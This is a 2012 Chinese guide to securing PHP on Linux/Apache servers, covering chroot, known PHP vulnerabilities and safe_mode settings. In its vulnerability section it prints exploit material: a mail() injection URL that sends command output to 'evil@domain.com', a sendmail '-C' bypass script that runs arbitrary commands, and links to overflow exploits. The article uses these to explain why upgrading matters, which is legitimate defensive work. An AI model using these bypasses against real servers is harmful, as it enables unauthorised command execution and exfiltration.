Linux操作系統(tǒng)下PHP服務(wù)器安全配置技巧 |
發(fā)布時間: 2012/8/11 11:06:00 |
一、Web服務(wù)器安全PHP其實不過是Web服務(wù)器的一個模塊功能,所以首先要保證Web服務(wù)器的安全。當(dāng)然Web服務(wù)器要安全又必須是先保證系統(tǒng)安全,這樣就扯遠了,無窮無盡。PHP可以和各種Web服務(wù)器結(jié)合,這里也只討論Apache。非常建議以chroot方式安裝啟動Apache,這樣即使Apache和PHP及其腳本出現(xiàn)漏洞,受影響的也只有這個禁錮的系統(tǒng),不會危害實際系統(tǒng)。但是使用chroot的Apache后,給應(yīng)用也會帶來一定的麻煩,比如連接mysql時必須用127.0.0.1地址使用tcp連接而不能用localhost實現(xiàn)socket連接,這在效率上會稍微差一點。還有mail函數(shù)發(fā)送郵件也是個問題,因為php.ini里的: [mailfunction];ForWin32only.SMTP=localhost;ForWin32only.sendmail_from=me@localhost.com都是針對Win32平臺,所以需要在chroot環(huán)境下調(diào)整好sendmail。二、PHP本身問題1、遠程溢出PHP-4.1.2以下的所有版本都存在文件上傳遠程緩沖區(qū)溢出漏洞,而且攻擊程序已經(jīng)廣泛流傳,成功率非常高:http://packetstormsecurity.org/0204-exploits/7350funhttp://hsj.shadowpenguin.org/misc/php3018_exp.txt2、遠程拒絕服務(wù)PHP-4.2.0和PHP-4.2.1存在PHPmultipart/form-dataPOST請求處理遠程漏洞,雖然不能獲得本地用戶權(quán)限,但是也能造成拒絕服務(wù)。3、safe_mode繞過漏洞還有PHP-4.2.2以下到PHP-4.0.5版本都存在PHPmail函數(shù)繞過safe_mode限制執(zhí)行命令漏洞,4.0.5版本開始mail函數(shù)增加了第五個參數(shù),由于設(shè)計者考慮不周可以突破safe_mode的限制執(zhí)行命令。其中4.0.5版本突破非常簡單,只需用分號隔開后面加shell命令就可以了,比如存在PHP腳本evil.php: <?mail("foo@bar,"foo","bar","",$bar);?>執(zhí)行如下的URL:http://foo.com/evil.php?bar=;/usr/bin/id|mailevil@domain.com這將id執(zhí)行的結(jié)果發(fā)送給evil@domain.com。對于4.0.6至4.2.2的PHP突破safe_mode限制其實是利用了sendmail的-C參數(shù),所以系統(tǒng)必須是使用sendmail。如下的代碼能夠突破safe_mode限制執(zhí)行命令: <?#注意,下面這兩個必須是不存在的,或者它們的屬主和本腳本的屬主是一樣$script="/tmp/script123";$cf="/tmp/cf123";$fd=fopen($cf,"w");fwrite($fd,"OQ/tmpSparse=0R$*".chr(9)."$#local$@$1$:$1Mlocal,P=/bin/sh,A=sh$script");fclose($fd);$fd=fopen($script,"w");fwrite($fd,"rm-f$script$cf;");fwrite($fd,$cmd);fclose($fd);mail("nobody","","","","-C$cf");?>還是使用以上有問題版本PHP的用戶一定要及時升級到最新版本,這樣才能消除基本的安全問題。 三、PHP本身的安全配置PHP的配置非常靈活,可以通過php.ini,httpd.conf,.htaccess文件(該目錄必須設(shè)置了AllowOverrideAll或Options)進行設(shè)置,還可以在腳本程序里使用ini_set()及其他的特定的函數(shù)進行設(shè)置。通過phpinfo()和get_cfg_var()函數(shù)可以得到配置選項的各個值。如果配置選項是唯一PHP_INI_SYSTEM屬性的,必須通過php.ini和httpd.conf來修改,它們修改的是PHP的Master值,但修改之后必須重啟apache才能生效。其中php.ini設(shè)置的選項是對Web服務(wù)器所有腳本生效,httpd.conf里設(shè)置的選項是對該定義的目錄下所有腳本生效。如果還有其他的PHP_INI_USER,PHP_INI_PERDIR,PHP_INI_ALL屬性的選項就可以使用.htaccess文件設(shè)置,也可以通過在腳本程序自身用ini_set()函數(shù)設(shè)定,它們修改的是Local值,改了以后馬上生效。但是.htaccess只對當(dāng)前目錄的腳本程序生效,ini_set()函數(shù)只對該腳本程序設(shè)置ini_set()函數(shù)以后的代碼生效。各個版本的選項屬性可能不盡相同,可以用如下命令查找當(dāng)前源代碼的main.c文件得到所有的選項,以及它的屬性: #grepPHP_INI_/PHP_SRC/main/main.c在討論PHP安全配置之前,應(yīng)該好好了解PHP的safe_mode模式。1、safe_modesafe_mode是唯一PHP_INI_SYSTEM屬性,必須通過php.ini或httpd.conf來設(shè)置。要啟用safe_mode,只需修改php.ini:safe_mode=On或者修改httpd.conf,定義目錄: <Directory/var/www>OptionsFollowSymLinksphp_admin_valuesafe_mode1</Directory>重啟apache后safe_mode就生效了。啟動safe_mode,會對許多PHP函數(shù)進行限制,特別是和系統(tǒng)相關(guān)的文件打開、命令執(zhí)行等函數(shù)。所有操作文件的函數(shù)將只能操作與腳本UID相同的文件,比如test.php腳本的內(nèi)容為: <?include("index.html")?>幾個文件的屬性如下:#ls-latotal13drwxr-xr-x2rootroot104Jul2001:25.drwxr-xr-x16rootroot384Jul1812:02..-rw-r--r--1rootroot4110Oct262002index.html-rw-r--r--1www-datawww-data41Jul1919:14test.php在瀏覽器請求test.php會提示如下的錯誤信息:Warning:SAFEMODERestrictionineffect.Thescriptwhoseuid/gidis33/33isnotallowedtoaccess./index.htmlownedbyuid/gid0/0in/var/www/test.phponline1如果被操作文件所在目錄的UID和腳本UID一致,那么該文件的UID即使和腳本不同也可以訪問的,不知這是否是PHP的一個漏洞還是另有隱情。所以php腳本屬主這個用戶最好就只作這個用途,絕對禁止使用root做為php腳本的屬主,這樣就達不到safe_mode的效果了。如果想將其放寬到GID比較,則打開safe_mode_gid可以考慮只比較文件的GID,可以設(shè)置如下選項:safe_mode_gid=On設(shè)置了safe_mode以后,所有命令執(zhí)行的函數(shù)將被限制只能執(zhí)行php.ini里safe_mode_exec_dir指定目錄里的程序,而且shell_exec、`ls-l`這種執(zhí)行命令的方式會被禁止。如果確實需要調(diào)用其它程序,可以在php.ini做如下設(shè)置:safe_mode_exec_dir=/usr/local/php/exec然后拷貝程序到該目錄,那么php腳本就可以用system等函數(shù)來執(zhí)行該程序。而且該目錄里的shell腳本還是可以調(diào)用其它目錄里的系統(tǒng)命令。safe_mode_include_dirstring當(dāng)從此目錄及其子目錄(目錄必須在include_path中或者用完整路徑來包含)包含文件時越過UID/GID檢查。從PHP4.2.0開始,本指令可以接受和include_path指令類似的風(fēng)格用分號隔開的路徑,而不只是一個目錄。指定的限制實際上是一個前綴,而非一個目錄名。這也就是說“safe_mode_include_dir=/dir/incl”將允許訪問“/dir/include”和“/dir/incls”,如果它們存在。如果您希望將訪問控制在一個指定的目錄,那么請在結(jié)尾加上一個斜線,例如:“safe_mode_include_dir=/dir/incl/”。safe_mode_allowed_env_varsstring設(shè)置某些環(huán)境變量可能是潛在的安全缺口。本指令包含有一個逗號分隔的前綴列表。在安全模式下,用戶只能改變那些名字具有在這里提供的前綴的環(huán)境變量。默認情況下,用戶只能設(shè)置以PHP_開頭的環(huán)境變量(例如PHP_FOO=BAR)。注:如果本指令為空,PHP將使用戶可以修改任何環(huán)境變量!safe_mode_protected_env_varsstring本指令包含有一個逗號分隔的環(huán)境變量的列表,最終用戶不能用putenv()來改變這些環(huán)境變量。甚至在safe_mode_allowed_env_vars中設(shè)置了允許修改時也不能改變這些變量。雖然safe_mode不是萬能的(低版本的PHP可以繞過),但還是強烈建議打開安全模式,在一定程度上能夠避免一些未知的攻擊。不過啟用safe_mode會有很多限制,可能對應(yīng)用帶來影響,所以還需要調(diào)整代碼和配置才能和諧。被安全模式限制或屏蔽的函數(shù)可以參考PHP手冊。討論完safe_mode后,下面結(jié)合程序代碼實際可能出現(xiàn)的問題討論如何通過對PHP服務(wù)器端的配置來避免出現(xiàn)的漏洞。 本文出自:億恩科技【mszdt.com】 服務(wù)器租用/服務(wù)器托管中國五強!虛擬主機域名注冊頂級提供商!15年品質(zhì)保障!--億恩科技[ENKJ.COM] |